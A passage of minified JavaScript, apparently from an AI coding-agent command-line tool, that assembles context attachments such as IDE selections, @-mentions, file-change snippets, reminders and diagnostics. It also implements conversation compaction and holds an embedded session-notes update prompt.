DL2(){if(!Sr6())return[];return gnA(!1),[{type:"delegate_mode_exit"}]}function jL2(A){let K=A.criticalSystemReminder_EXPERIMENTAL;if(!K)return[];return[{type:"critical_system_reminder",content:K}]}function ML2(){let K=J8()?.outputStyle||"default";if(K==="default")return[];return[{type:"output_style",style:K}]}function PL2(A){return[]}async function VL2(A,K){let q=w_1(K.options.mcpClients);if(!q||A?.lineStart===void 0||!A.text||!A.filePath)return[];let Y=await K.getAppState();if(_PA(A.filePath,Y.toolPermissionContext))return[];return[{type:"selected_lines_in_ide",ideName:q,lineStart:A.lineStart,lineEnd:A.lineStart+A.lineCount-1,filename:A.filePath,content:A.text}]}function fL2(A,K){let q=Ku6(TJK(A)),Y=[],z=q;while(z!==K&&z!==fJK(z).root){if(z.startsWith(K))Y.push(z);z=Ku6(z)}Y.reverse();let w=[];z=K;while(z!==fJK(z).root)w.push(z),z=Ku6(z);return w.reverse(),{nestedDirs:Y,cwdLevelDirs:w}}function qu6(A,K){let q=[];for(let Y of A)if(!K.readFileState.has(Y.path))q.push({type:"nested_memory",path:Y.path,content:Y}),K.readFileState.set(Y.path,{content:Y.content,timestamp:Date.now(),offset:void 0,limit:void 0});return q}function vJK(A,K,q){let Y=[];try{if(!FS(A,q.toolPermissionContext))return Y;let z=new Set,w=V8(),H=iu4(A,z);Y.push(...qu6(H,K));let{nestedDirs:J,cwdLevelDirs:O}=fL2(A,w);for(let X of J){let $=nu4(X,A,z);Y.push(...qu6($,K))}for(let X of O){let $=ru4(X,A,z);Y.push(...qu6($,K))}}catch(z){KA(z)}return Y}async function NL2(A,K){if(!A?.filePath||A.text)return[];let q=await K.getAppState();if(_PA(A.filePath,q.toolPermissionContext))return[];return[...vJK(A.filePath,K,q),{type:"opened_file_in_ide",filename:A.filePath}]}async function TL2(A,K){let q=yL2(A);if(q.length>0)l7("at-mentions");let Y=await K.getAppState();return(await Promise.all(q.map(async(w)=>{try{let{filename:H,lineStart:J,lineEnd:O}=hL2(w),X=x7(H);if(_PA(X,Y.toolPermissionContext))return null;try{if(BA().statSync(X).isDirectory())try{let _=await o7.call({command:`ls ${R4([X])}`,description:`Lists files in ${X}`},K);n("tengu_at_mention_extracting_directory_success",{});let G=_.data.stdout;return{type:"directory",path:X,content:G}}catch{return null}}catch{}return await Yu6(X,K,"tengu_at_mention_extracting_filename_success","tengu_at_mention_extracting_filename_error","at-mention",{offset:J,limit:O&&J?O-J+1:void 0})}catch{n("tengu_at_mention_extracting_filename_error",{})}}))).filter(Boolean)}function vL2(A,K){let q=SL2(A);if(q.length===0)return[];return q.map((z)=>{let w=z.replace("agent-",""),H=K.find((J)=>J.agentType===w);if(!H)return n("tengu_at_mention_agent_not_found",{}),null;return n("tengu_at_mention_agent_success",{}),{type:"agent_mention",agentType:H.agentType}}).filter((z)=>z!==null)}async function EL2(A,K){let q=IL2(A);if(q.length===0)return[];let Y=K.options.mcpClients||[];return(await Promise.all(q.map(async(w)=>{try{let[H,...J]=w.split(":"),O=J.join(":");if(!H||!O)return n("tengu_at_mention_mcp_resource_error",{}),null;let X=Y.find((G)=>G.name===H);if(!X||X.type!=="connected")return n("tengu_at_mention_mcp_resource_error",{}),null;let _=(K.options.mcpResources?.[H]||[]).find((G)=>G.uri===O);if(!_)return n("tengu_at_mention_mcp_resource_error",{}),null;try{let G=await X.client.readResource({uri:O});return n("tengu_at_mention_mcp_resource_success",{}),{type:"mcp_resource",server:H,uri:O,name:_.name||O,description:_.description,content:G}}catch(G){return n("tengu_at_mention_mcp_resource_error",{}),KA(G),null}}catch{return n("tengu_at_mention_mcp_resource_error",{}),null}}))).filter((w)=>w!==null)}async function kL2(A){let K=await A.getAppState();return(await Promise.all(py(A.readFileState).map(async(Y)=>{let z=A.readFileState.get(Y);if(!z)return null;if(z.offset!==void 0||z.limit!==void 0)return null;let w=x7(Y);if(_PA(w,K.toolPermissionContext))return null;try{if(Kj(w)<=z.timestamp)return null;let H={file_path:w};if(!(await d9.validateInput(H,A)).result)return null;let O=await d9.call(H,A),X=A.agentId??d1();if(w===eo(X)){if(!A.options.tools.some((_)=>_.name===EQ))return null;let $=bu(X);return{type:"todo",content:$,itemCount:$.length,context:"file-watch"}}if(O.data.type==="text"){if(nM6(z.content,O.data.file.content)==="")return null;return{type:"edited_text_file",filename:w,snippet:nM6(z.content,O.data.file.content)}}if(O.data.type==="image")try{let $=await zu6(w);return{type:"edited_image_file",filename:w,content:$}}catch($){return KA($),n("tengu_watched_file_compression_failed",{file:w}),null}}catch{return n("tengu_watched_file_stat_error",{}),null}}))).filter((Y)=>Y!==null)}async function CL2(A){let K=await A.getAppState(),q=[];if(A.nestedMemoryAttachmentTriggers&&A.nestedMemoryAttachmentTriggers.size>0){for(let Y of A.nestedMemoryAttachmentTriggers){let z=vJK(Y,A,K);q.push(...z)}A.nestedMemoryAttachmentTriggers.clear()}return q}async function LL2(A){let K=[];if(A.dynamicSkillDirTriggers&&A.dynamicSkillDirTriggers.size>0){let q=BA();for(let Y of A.dynamicSkillDirTriggers){let z=[];try{let w=q.readdirSync(Y);for(let H of w)if(H.isDirectory()||H.isSymbolicLink()){let J=TJK(Y,H.name,"SKILL.md");try{q.statSync(J),z.push(H.name)}catch{}}}catch{}if(z.length>0)K.push({type:"dynamic_skill",skillDir:Y,skillNames:z})}A.dynamicSkillDirTriggers.clear()}return K}function He(){JpA.clear()}async function RL2(A){let K=sW(),Y=(await lC(K)).filter((H)=>!JpA.has(H.name));if(Y.length===0)return[];let z=JpA.size===0;for(let H of Y)JpA.add(H.name);return h(`Sending ${Y.length} skills via attachment (${z?"initial":"dynamic"}, ${JpA.size} total sent)`),[{type:"skill_listing",content:Wj7(Y),skillCount:Y.length,isInitial:z}]}function yL2(A){let K=/(^|\s)@"([^"]+)"/g,q=/(^|\s)@([^\s]+)\b/g,Y=[],z=[],w;while((w=K.exec(A))!==null)if(w[2])Y.push(w[2]);return(A.match(q)||[]).forEach((J)=>{let O=J.slice(J.indexOf("@")+1);if(!O.startsWith('"'))z.push(O)}),[...new Set([...Y,...z])]}function IL2(A){let K=/(^|\s)@([^\s]+:[^\s]+)\b/g,q=A.match(K)||[];return[...new Set(q.map((Y)=>Y.slice(Y.indexOf("@")+1)))]}function SL2(A){let K=/(^|\s)@(agent-[\w:.@-]+)/g,q=A.match(K)||[];return[...new Set(q.map((Y)=>Y.slice(Y.indexOf("@")+1)))]}function hL2(A){let K=A.match(/^([^#]+)(?:#L(\d+)(?:-(\d+))?)?$/);if(!K)return{filename:A};let[,q,Y,z]=K,w=Y?parseInt(Y,10):void 0,H=z?parseInt(z,10):w;return{filename:q??A,lineStart:w,lineEnd:H}}function bL2(A){let K=0,q=!1;for(let Y=A.length-1;Y>=0;Y--){let z=A[Y];if(z?.type==="attachment"&&z.attachment.type==="ultramemory"){q=!0;break}if(z?.type==="assistant")K+=C_6(z)}return q?K:null}function xL2(A){if(!A||A.length===0)return!0;let K=bL2(A);if(K===null)return!0;return K>=wL2.TOKEN_COOLDOWN}async function uL2(A){if((await A.getAppState()).toolPermissionContext.mode==="coordinator")return[];let q=await Tp.getNewDiagnostics();if(q.length===0)return[];return[{type:"diagnostics",files:q,isNew:!0}]}async function BL2(A){if((await A.getAppState()).toolPermissionContext.mode==="coordinator")return[];h("LSP Diagnostics: getLSPDiagnosticAttachments called");try{let q=jv7();if(q.length===0)return[];h(`LSP Diagnostics: Found ${q.length} pending diagnostic set(s)`);let Y=q.map(({files:z})=>({type:"diagnostics",files:z,isNew:!0}));if(q.length>0)Mv7(),h(`LSP Diagnostics: Cleared ${q.length} delivered diagnostic(s) from registry`);return h(`LSP Diagnostics: Returning ${Y.length} diagnostic attachment(s)`),Y}catch(q){let Y=q instanceof Error?q:Error(String(q));return KA(Error(`Failed to get LSP diagnostic attachments: ${Y.message}`)),[]}}async function*HMA(A,K,q,Y,z,w){let H=await OL2(A,K,q,Y,z,w);if(H.length===0)return;n("tengu_attachments",{attachment_types:H.map((J)=>J.type)});for(let J of H)yield PK(J)}async function Yu6(A,K,q,Y,z,w){let{offset:H,limit:J}=w??{},O=await K.getAppState();if(_PA(A,O.toolPermissionContext))return null;if(z==="at-mention"&&!_N1(A))try{let $=BA().statSync(A);return n("tengu_attachment_file_too_large",{size_bytes:$.size,mode:z}),null}catch{}let X=K.readFileState.get(A);if(X&&z==="at-mention")try{let $=Kj(A);if(X.timestamp<=$&&$===X.timestamp)return n(q,{}),{type:"already_read_file",filename:A,content:{type:"text",file:{filePath:A,content:X.content,numLines:X.content.split(` `).length,startLine:H??1,totalLines:X.content.split(` `).length}}}}catch{}try{let $={file_path:A,offset:H,limit:J};async function _(){if(z==="compact")return{type:"compact_file_reference",filename:A};let Z=await K.getAppState();if(_PA(A,Z.toolPermissionContext))return null;try{let W={file_path:A,offset:H??1,limit:ACA},D=await d9.call(W,K);return n(q,{}),{type:"file",filename:A,content:D.data,truncated:!0}}catch{return n(Y,{}),null}}let G=await d9.validateInput($,K);if(!G.result){if(G.meta?.fileSize)return await _();return null}try{let Z=await d9.call($,K);return n(q,{}),{type:"file",filename:A,content:Z.data}}catch(Z){if(Z instanceof $N1)return await _();throw Z}}catch{return n(Y,{}),null}}function PK(A){return{attachment:A,type:"attachment",uuid:zL2(),timestamp:new Date().toISOString()}}function mL2(A){let K=-1,q=-1,Y=0,z=0;for(let w=A.length-1;w>=0;w--){let H=A[w];if(H?.type==="assistant"){if(OpA(H))continue;if(K===-1&&"message"in H&&Array.isArray(H.message?.content)&&H.message.content.some((J)=>J.type==="tool_use"&&J.name==="TodoWrite"))K=w;if(K===-1)Y++;if(q===-1)z++}else if(q===-1&&H?.type==="attachment"&&H.attachment.type==="todo_reminder")q=w;if(K!==-1&&q!==-1)break}return{turnsSinceLastTodoWrite:Y,turnsSinceLastReminder:z}}async function gL2(A,K){if(!K.options.tools.some((z)=>z.name===EQ))return[];if(!A||A.length===0)return[];let{turnsSinceLastTodoWrite:q,turnsSinceLastReminder:Y}=mL2(A);if(q>=XN1.TURNS_SINCE_WRITE&&Y>=XN1.TURNS_BETWEEN_REMINDERS){let z=bu(K.agentId??d1());return[{type:"todo_reminder",content:z,itemCount:z.length}]}return[]}function FL2(A){let K=-1,q=-1,Y=0,z=0;for(let w=A.length-1;w>=0;w--){let H=A[w];if(H?.type==="assistant"){if(OpA(H))continue;if(K===-1&&"message"in H&&Array.isArray(H.message?.content)&&H.message.content.some((J)=>J.type==="tool_use"&&(J.name===Aa||J.name===tU)))K=w;if(K===-1)Y++;if(q===-1)z++}else if(q===-1&&H?.type==="attachment"&&H.attachment.type==="task_reminder")q=w;if(K!==-1&&q!==-1)break}return{turnsSinceLastTaskManagement:Y,turnsSinceLastReminder:z}}async function QL2(A,K){if(!ew())return[];if(!K.options.tools.some((z)=>z.name===tU))return[];if(!A||A.length===0)return[];let{turnsSinceLastTaskManagement:q,turnsSinceLastReminder:Y}=FL2(A);if(q>=XN1.TURNS_SINCE_WRITE&&Y>=XN1.TURNS_BETWEEN_REMINDERS){let z=OG(JM());return[{type:"task_reminder",content:z,itemCount:z.length}]}return[]}function UL2(A){let K=new Map;if(!A||A.length===0)return K;let q=new Set,Y=0;for(let z=A.length-1;z>=0;z--){let w=A[z];if(w?.type==="assistant"&&!OpA(w))Y++;else if(w?.type==="attachment"&&w.attachment.type==="task_progress"){let H=w.attachment.taskId;if(!q.has(H))K.set(H,Y),q.add(H)}}return K}async function pL2(A,K){let q=await A.getAppState(),{attachments:Y,progressAttachments:z,updatedTasks:w}=VJK(q),H=UL2(K),J=z.filter(($)=>{return(H.get($.taskId)??1/0)>=HL2});for(let $ of J){let _=w[$.taskId]??q.tasks?.[$.taskId];if(_)w[$.taskId]=PJK(_)}if(Object.keys(w).length>0)A.setAppState(($)=>({...$,tasks:{...$.tasks,...w}}));let O=Y.map(($)=>({type:"task_status",taskId:$.taskId,taskType:$.taskType,status:$.status,description:$.description,deltaSummary:$.deltaSummary})),X=J.map(($)=>({type:"task_progress",taskId:$.taskId,taskType:$.taskType,message:$.message}));return[...O,...X]}async function dL2(){let A=await LP7();if(A.length===0)return[];h(`Hooks: getAsyncHookResponseAttachments found ${A.length} responses`);let K=A.map(({processId:q,response:Y,hookName:z,hookEvent:w,toolName:H,stdout:J,stderr:O,exitCode:X})=>{return h(`Hooks: Creating attachment for ${q} (${z}): ${UA(Y)}`),{type:"async_hook_response",processId:q,hookName:z,hookEvent:w,toolName:H,response:Y,stdout:J,stderr:O,exitCode:X}});if(A.length>0){let q=A.map((Y)=>Y.processId);RP7(q),h(`Hooks: Removed ${q.length} delivered hooks from registry`)}return h(`Hooks: getAsyncHookResponseAttachments found ${K.length} attachments`),K}async function cL2(A){if(!b8())return[];return[]}function lL2(A){let K=T3(),q=q_(),Y=b9();if(!K||!q)return[];if(A.some((O)=>O.type==="assistant"))return[];let w=process.env.HOME||process.env.USERPROFILE||".",H=`${w}/.claude/teams/${K}/config.json`,J=`${w}/.claude/tasks/${K}/`;return[{type:"team_context",agentId:q,agentName:Y||q,teamName:K,teamConfigPath:H,taskListPath:J}]}function iL2(A){if(!P1(process.env.CLAUDE_CODE_ENABLE_TOKEN_USAGE_ATTACHMENT))return[];let K=GPA(),q=bM(A);return[{type:"token_usage",used:q,total:K,remaining:K-q}]}function nL2(A){if(A===void 0)return[];let K=ZZ(),q=A-K;return[{type:"budget_usd",used:K,total:A,remaining:q}]}function rL2(A){let K=0;for(let q=A.length-1;q>=0;q--){let Y=A[q];if(Y?.type==="user"&&!(("isMeta"in Y)&&Y.isMeta))K++;if(Y?.type==="attachment"&&Y.attachment.type==="plan_mode_exit")return K}return 0}async function oL2(A,K){return[]}function _PA(A,K){return gG(A,K,"read","deny")!==null}var XN1,NJK,wL2,HL2=3,JL2,JpA;var sD=k(()=>{l1();Ev();Oz();e6();xu();VJ();NG();iH();gZ();qWA();C1();dT();Z1();QqA();I8();pqA();gO();X0();q6();zmA();cO();hD();Jz();YK();Xz();cI();q6();xG();g2();JG1();bmA();Z1();$8();l6();oZ();Sd();b1();t9();_H();W2();Nv();VJ();XN1={TURNS_SINCE_WRITE:10,TURNS_BETWEEN_REMINDERS:10},NJK={TURNS_BETWEEN_ATTACHMENTS:5,FULL_REMINDER_EVERY_N_ATTACHMENTS:5},wL2={TOKEN_COOLDOWN:5000},JL2={TURNS_BETWEEN_REMINDERS:10};JpA=new Set});function wu6(A){if(A==="Local")return"project (local)";return A.toLowerCase()}var EJK;var Hu6=k(()=>{EJK=["User","Project","Local","Managed","ExperimentalUltraClaudeMd"]});function CJK(A){let K={toolRequests:new Map,toolResults:new Map,humanMessages:0,assistantMessages:0,localCommandOutputs:0,other:0,attachments:new Map,duplicateFileReads:new Map,total:0},q=new Map,Y=new Map,z=new Map;return A.forEach((H)=>{if(H.type==="attachment"){let J=H.attachment.type||"unknown";K.attachments.set(J,(K.attachments.get(J)||0)+1)}}),q0(A).forEach((H)=>{let{content:J}=H.message;if(typeof J==="string"){let O=d2(J);if(K.total+=O,H.type==="user"&&J.includes("local-command-stdout"))K.localCommandOutputs+=O;else K[H.type==="user"?"humanMessages":"assistantMessages"]+=O}else J.forEach((O)=>aL2(O,H,K,q,Y,z))}),z.forEach((H,J)=>{if(H.count>1){let X=Math.floor(H.totalTokens/H.count)*(H.count-1);K.duplicateFileReads.set(J,{count:H.count,tokens:X})}}),K}function aL2(A,K,q,Y,z,w){let H=d2(UA(A));switch(q.total+=H,A.type){case"text":if(K.type==="user"&&"text"in A&&A.text.includes("local-command-stdout"))q.localCommandOutputs+=H;else q[K.type==="user"?"humanMessages":"assistantMessages"]+=H;break;case"tool_use":{if("name"in A&&"id"in A){let J=A.name||"unknown";if(kJK(q.toolRequests,J,H),Y.set(A.id,J),J==="Read"&&"input"in A&&A.input&&typeof A.input==="object"&&"file_path"in A.input){let O=String(A.input.file_path);z.set(A.id,O)}}break}case"tool_result":{if("tool_use_id"in A){let J=Y.get(A.tool_use_id)||"unknown";if(kJK(q.toolResults,J,H),J==="Read"){let O=z.get(A.tool_use_id);if(O){let X=w.get(O)||{count:0,totalTokens:0};w.set(O,{count:X.count+1,totalTokens:X.totalTokens+H})}}}break}case"image":case"server_tool_use":case"web_search_tool_result":case"search_result":case"document":case"thinking":case"redacted_thinking":case"code_execution_tool_result":case"mcp_tool_use":case"mcp_tool_result":case"container_upload":case"web_fetch_tool_result":case"bash_code_execution_tool_result":case"text_editor_code_execution_tool_result":q.other+=H;break}}function kJK(A,K,q){A.set(K,(A.get(K)||0)+q)}function LJK(A){let K={total_tokens:A.total,human_message_tokens:A.humanMessages,assistant_message_tokens:A.assistantMessages,local_command_output_tokens:A.localCommandOutputs,other_tokens:A.other};A.attachments.forEach((Y,z)=>{K[`attachment_${z}_count`]=Y}),A.toolRequests.forEach((Y,z)=>{K[`tool_request_${z}_tokens`]=Y}),A.toolResults.forEach((Y,z)=>{K[`tool_result_${z}_tokens`]=Y});let q=[...A.duplicateFileReads.values()].reduce((Y,z)=>Y+z.tokens,0);if(K.duplicate_read_tokens=q,K.duplicate_read_file_count=A.duplicateFileReads.size,A.total>0){K.human_message_percent=Math.round(A.humanMessages/A.total*100),K.assistant_message_percent=Math.round(A.assistantMessages/A.total*100),K.local_command_output_percent=Math.round(A.localCommandOutputs/A.total*100),K.duplicate_read_percent=Math.round(q/A.total*100);let Y=[...A.toolRequests.values()].reduce((w,H)=>w+H,0),z=[...A.toolResults.values()].reduce((w,H)=>w+H,0);K.tool_request_percent=Math.round(Y/A.total*100),K.tool_result_percent=Math.round(z/A.total*100),A.toolRequests.forEach((w,H)=>{K[`tool_request_${H}_percent`]=Math.round(w/A.total*100)}),A.toolResults.forEach((w,H)=>{K[`tool_result_${H}_percent`]=Math.round(w/A.total*100)})}return K}var RJK=k(()=>{dT();$8();b1()});function Bt(A){return[A.boundaryMarker,...A.summaryMessages,...A.messagesToKeep??[],...A.attachments,...A.hookResults]}async function EMA(A,K,q,Y,z,w=!1){try{if(A.length===0)throw Error(XpA);let H=WI(A),J=CJK(A),O={};try{O=LJK(J)}catch(u){KA(u)}let X=await K.getAppState();WO1(X.toolPermissionContext,"summary"),K.onCompactProgress?.({type:"hooks_start",hookType:"pre_compact"}),K.setSDKStatus?.("compacting");let $=await lx6({trigger:w?"auto":"manual",customInstructions:z??null},K.abortController.signal);if($.newCustomInstructions)z=z?`${z} ${$.newCustomInstructions}`:$.newCustomInstructions;let _=$.userDisplayMessage;K.setStreamMode?.("requesting"),K.setResponseLength?.(()=>0),K.onCompactProgress?.({type:"compact_start"});let G=G4("tengu_compact_cache_prefix",!1),Z=i_6(z),W=t1({content:Z}),D=await zR2({messages:A,summaryRequest:W,appState:X,context:K,preCompactTokenCount:H,cacheSafeParams:q}),j=Vm(D);if(!j)throw h(`Compact failed: no summary text in response. Response: ${UA(D)}`,{level:"error"}),n("tengu_compact_failed",{reason:"no_summary",preCompactTokenCount:H,promptCacheSharingEnabled:G}),Error("Failed to generate conversation summary - response did not contain valid text content");else if(j.startsWith($$))throw n("tengu_compact_failed",{reason:"api_error",preCompactTokenCount:H,promptCacheSharingEnabled:G}),Error(j);else if(j.startsWith(to))throw n("tengu_compact_failed",{reason:"prompt_too_long",preCompactTokenCount:H,promptCacheSharingEnabled:G}),Error(KR2);let M=pu4(K.readFileState);K.readFileState.clear(),He();let[P,f]=await Promise.all([wR2(M,K,sL2),OR2(K)]),N=[...P,...f],T=HR2(K.agentId??d1());if(T)N.push(T);let C=Ju6(K.agentId);if(C)N.push(C);let R=JR2();if(R)N.push(R);K.onCompactProgress?.({type:"hooks_start",hookType:"session_start"});let x=await fj("compact",void 0,void 0,K.options.mainLoopModel),y=bM([D]),B=ro(D);n("tengu_compact",{preCompactTokenCount:H,postCompactTokenCount:y,compactionInputTokens:B?.input_tokens,compactionOutputTokens:B?.output_tokens,compactionCacheReadTokens:B?.cache_read_input_tokens??0,compactionCacheCreationTokens:B?.cache_creation_input_tokens??0,compactionTotalTokens:B?B.input_tokens+(B.cache_creation_input_tokens??0)+(B.cache_read_input_tokens??0)+B.output_tokens:0,promptCacheSharingEnabled:G,...O});let b=GN1(w?"auto":"manual",H??0,A[A.length-1]?.uuid),F=T_(d1()),Q=[t1({content:GO1(j,Y,F),isCompactSummary:!0,isVisibleInTranscriptOnly:!0})];return o57(K.options.querySource??"compact"),{boundaryMarker:b,summaryMessages:Q,attachments:N,hookResults:x,userDisplayMessage:_,preCompactTokenCount:H,postCompactTokenCount:y,compactionUsage:B}}catch(H){throw qR2(H,K),H}finally{K.setStreamMode?.("requesting"),K.setResponseLength?.(()=>0),K.onCompactProgress?.({type:"compact_end"}),K.setSDKStatus?.(null)}}function qR2(A,K){if(!BTA(A,N3A)&&!BTA(A,XpA))K.addNotification?.({key:"error-compacting-conversation",text:"Error compacting conversation",priority:"immediate",color:"error"})}function YR2(){return async()=>({behavior:"deny",message:"Tool use is not allowed during compaction",decisionReason:{type:"other",reason:"compaction agent should only produce text summary"}})}async function zR2({messages:A,summaryRequest:K,appState:q,context:Y,preCompactTokenCount:z,cacheSafeParams:w}){if(G4("tengu_compact_cache_prefix",!1))try{let X=await bS({promptMessages:[K],cacheSafeParams:w,canUseTool:YR2(),querySource:"compact",forkLabel:"compact",maxTurns:1,maxOutputTokens:knA}),$=rf(X.messages);if($&&Vm($))return n("tengu_compact_cache_sharing_success",{preCompactTokenCount:z,outputTokens:X.totalUsage.output_tokens,cacheReadInputTokens:X.totalUsage.cache_read_input_tokens,cacheCreationInputTokens:X.totalUsage.cache_creation_input_tokens,cacheHitRate:X.totalUsage.cache_read_input_tokens>0?X.totalUsage.cache_read_input_tokens/(X.totalUsage.cache_read_input_tokens+X.totalUsage.cache_creation_input_tokens+X.totalUsage.input_tokens):0}),$;h(`Compact cache sharing: no text in response, falling back. Response: ${UA($)}`,{level:"warn"}),n("tengu_compact_cache_sharing_fallback",{reason:"no_text_response",preCompactTokenCount:z})}catch(X){KA(X instanceof Error?X:Error(String(X))),n("tengu_compact_cache_sharing_fallback",{reason:"error",preCompactTokenCount:z})}let J=G4("tengu_compact_streaming_retry",!1),O=J?AR2:1;for(let X=1;X<=O;X++){let $=!1,_;Y.setResponseLength?.(()=>0);let Z=await $pA(Y.options.mainLoopModel,Y.options.tools,async()=>q.toolPermissionContext,Y.options.agentDefinitions.activeAgents,"compact")?Jb([d9,ZO1,...q.mcp.tools],"name"):[d9],D=aMA({messages:q0([...kv(A),K]),systemPrompt:["You are a helpful AI assistant tasked with summarizing conversations."],maxThinkingTokens:0,tools:Z,signal:Y.abortController.signal,options:{async getToolPermissionContext(){return(await Y.getAppState()).toolPermissionContext},model:Y.options.mainLoopModel,toolChoice:void 0,isNonInteractiveSession:Y.options.isNonInteractiveSession,hasAppendSystemPrompt:!!Y.options.appendSystemPrompt,maxOutputTokensOverride:knA,querySource:"compact",agents:Y.options.agentDefinitions.activeAgents,mcpTools:[]}})[Symbol.asyncIterator](),j=await D.next();while(!j.done){let M=j.value;if(!$&&M.type==="stream_event"&&M.event.type==="content_block_start"&&M.event.content_block.type==="text")$=!0,Y.setStreamMode?.("responding");if(M.type==="stream_event"&&M.event.type==="content_block_delta"&&M.event.delta.type==="text_delta"){let P=M.event.delta.text.length;Y.setResponseLength?.((f)=>f+P)}if(M.type==="assistant")_=M;j=await D.next()}if(_)return _;if(X<O){n("tengu_compact_streaming_retry",{attempt:X,preCompactTokenCount:z,hasStartedStreaming:$}),await Iu(xp(X),Y.abortController.signal);continue}throw h(`Compact streaming failed after ${X} attempts. hasStartedStreaming=${$}`,{level:"error"}),n("tengu_compact_failed",{reason:"no_streaming_response",preCompactTokenCount:z,hasStartedStreaming:$,retryEnabled:J,attempts:X,promptCacheSharingEnabled:!1}),Error(yJK)}throw Error(yJK)}async function wR2(A,K,q){let Y=Object.entries(A).map(([H,J])=>({filename:H,...J})).filter((H)=>!XR2(H.filename,K.agentId)).sort((H,J)=>J.timestamp-H.timestamp).slice(0,q),z=await Promise.all(Y.map(async(H)=>{let J=await Yu6(H.filename,{...K,fileReadingLimits:{maxTokens:eL2}},"tengu_post_compact_file_restore_success","tengu_post_compact_file_restore_error","compact");return J?PK(J):null})),w=0;return z.filter((H)=>{if(H===null)return!1;let J=d2(UA(H));if(w+J<=tL2)return w+=J,!0;return!1})}function HR2(A){let K=bu(A);if(K.length===0)return null;return PK({type:"todo",content:K,itemCount:K.length,context:"post-compact"})}function Ju6(A){let K=fG(A);if(!K)return null;let q=uM(A);return PK({type:"plan_file_reference",planFilePath:q,planContent:K})}function JR2(){let A=Br6();if(A.size===0)return null;let K=Array.from(A.values()).sort((q,Y)=>Y.invokedAt-q.invokedAt).map((q)=>({name:q.skillName,path:q.skillPath,content:q.content}));return PK({type:"invoked_skills",skills:K})}async function OR2(A){let K=await A.getAppState();return Object.values(K.tasks).filter((Y)=>Y.type==="local_agent").flatMap((Y)=>{if(Y.retrieved)return[];let{status:z}=Y;if(z==="completed"||z==="failed"||z==="killed")return[PK({type:"task_status",taskId:Y.agentId,taskType:"local_agent",description:Y.description,status:z,deltaSummary:Y.error??null})];return[]})}function XR2(A,K){let q=x7(A);try{let Y=K??d1(),z=x7(eo(Y));if(q===z)return!0}catch{}try{let Y=x7(uM(K));if(q===Y)return!0}catch{}try{if(new Set(EJK.map((z)=>x7(qu(z)))).has(q))return!0}catch{}return!1}var sL2=5,tL2=50000,eL2=5000,AR2=2,XpA="Not enough messages to compact.",KR2="Conversation too long. Press esc twice to go up a few messages and try again.",N3A="API Error: Request was aborted.",yJK="Compaction interrupted · This may be due to network issues — please try again.";var St=k(()=>{owA();sz();uxA();cT();$8();l1();iw();oZ();Ev();o_6();vC();hD();a_6();sD();xu();i6();NG();Oz();Hu6();iP();dT();RJK();C1();Z1();B7();q5A();aU();JP();Ye();q6();UK();b1();eB()});function bJK(){return IJK}function j9A(A){IJK=A}function xJK(){ZN1=Date.now()}function uJK(){ZN1=void 0}async function BJK(){let A=Date.now();while(ZN1){if(Date.now()-ZN1>_R2)return;if(Date.now()-A>$R2)return;await new Promise((q)=>setTimeout(q,1000))}}function mJK(){let A=BA(),K=M9A();if(!A.existsSync(K))return null;return A.readFileSync(K,{encoding:"utf-8"})}function gJK(A){ZPA={...ZPA,...A}}function FJK(){return{...ZPA}}function QJK(A){SJK=A}function UJK(){return hJK}function pJK(){hJK=!0}function dJK(A){return A>=ZPA.minimumMessageTokensToInit}function cJK(A){return A-SJK>=ZPA.minimumTokensBetweenUpdate}function lJK(){return ZPA.toolCallsBetweenUpdates}var $R2=15000,_R2=60000,_pA,ZPA,IJK,ZN1,SJK=0,hJK=!1;var GpA=k(()=>{e6();Xz();_pA={minimumMessageTokensToInit:1e4,minimumTokensBetweenUpdate:5000,toolCallsBetweenUpdates:3},ZPA={..._pA}});import{join as rJK}from"path";function ZR2(){return`IMPORTANT: This message and these instructions are NOT part of the actual user conversation. Do NOT include any references to "note-taking", "session notes extraction", or these update instructions in the notes content. Based on the user conversation above (EXCLUDING this note-taking instruction message as well as system prompt, claude.md entries, or any past session summaries), update the session notes file. The file {{notesPath}} has already been read for you. Here are its current contents: <current_notes_content> {{currentNotes}} </current_notes_content> Your ONLY task is to use the Edit tool to update the notes file, then stop. You can make multiple edits (update every section as needed) - make all Edit tool calls in parallel in a single message. Do not call any other tools. CRITICAL RULES FOR EDITING: - The file must maintain its exact structure with all sections, headers, and italic descriptions intact -- NEVER modify, delete, or add section headers (the lines starting with '#' like # Task specification) -- NEVER modify or delete the italic _section description_ lines (these are the lines in italics immediately following each header - they start and end with underscores) -- The italic _section descriptions_ are TEMPLATE INSTRUCTIONS that must be preserved exactly as-is - they guide what content belongs in each section -- ONLY update the actual content that appears BELOW the italic _section descriptions_ within each existing section -- Do NOT add any new sections, summaries, or information outside the existing structure - Do NOT reference this note-taking process or instructions anywhere in the notes - It's OK to skip updating a section if there are no substantial new insights to add. Do not add filler content like "No info yet", just leave sections blank/unedited if appropriate. - Write DETAILED, INFO-DENSE content for each section - include specifics like file paths, function names, error messages, exact commands, technical details, etc. - For "Key results", include the complete, exact output the user requested (e.g., full table, full answer, etc.) - Do not include information that's already in the CLAUDE.md files included in the context - Keep each section under ~${WN1} tokens/words - if a section is approaching this limit, condense it by cycling out less important details while preserving the most critical information - Focus on actionable, specific information that would help someone understand or recreate the work discussed in the conversation - IMPORTANT: Always update "Current State" to reflect the most recent work - this is critical for continuity after compaction Use the Edit tool with file_path: {{notesPath}} STRUCTURE PRESERVATION REMINDER: Each section has TWO parts that must be preserved exactly as they appear in the current file: 1. The section header (line starting with #) 2. The italic description line (the _italicized text_ immediately after the header - this is a template instruction) You ONLY update the actual content that comes AFTER these two preserved lines. The italic description lines starting and ending with underscores are part of the template structure, NOT content to be edited or removed. REMEMBER: Use the Edit tool in parallel and stop. Do not continue after the edits. Only include insights from the actual user conversation, never from these note-taking instructions. Do not delete or change section headers or italic _section descriptions_.`}async function Ou6(){let A=BA(),K=rJK(w8(),"session-memory","config","template.md");if(A.existsSync(K))try{return A.readFileSync(K,{encoding:"utf-8"})}catch(q){KA(q instanceof Error?q:Error(`Failed to load custom session memory template: ${q}`))}return GR2}async function WR2(){let A=BA(),K=rJK(w8(),"session-memory","config","prompt.md");if(A.existsSync(K))try{return A.readFileSync(K,{encoding:"utf-8"})}catch(q){KA(q instanceof Error?q:Error(`Failed to load custom session memory prompt: ${q}`))}return ZR2()}function DR2(A){let K={},q=A.split(` `),Y="",z=[];for(let w of q)if(w.startsWith("# ")){if(Y&&z.length>0){let H=z.join(` `).trim();K[Y]=d2(H)}Y=w,z=[]}else z.push(w);if(Y&&z.length>0){let w=z.join(` `).trim();K[Y]=d2(w)}return K}function jR2(A,K){let 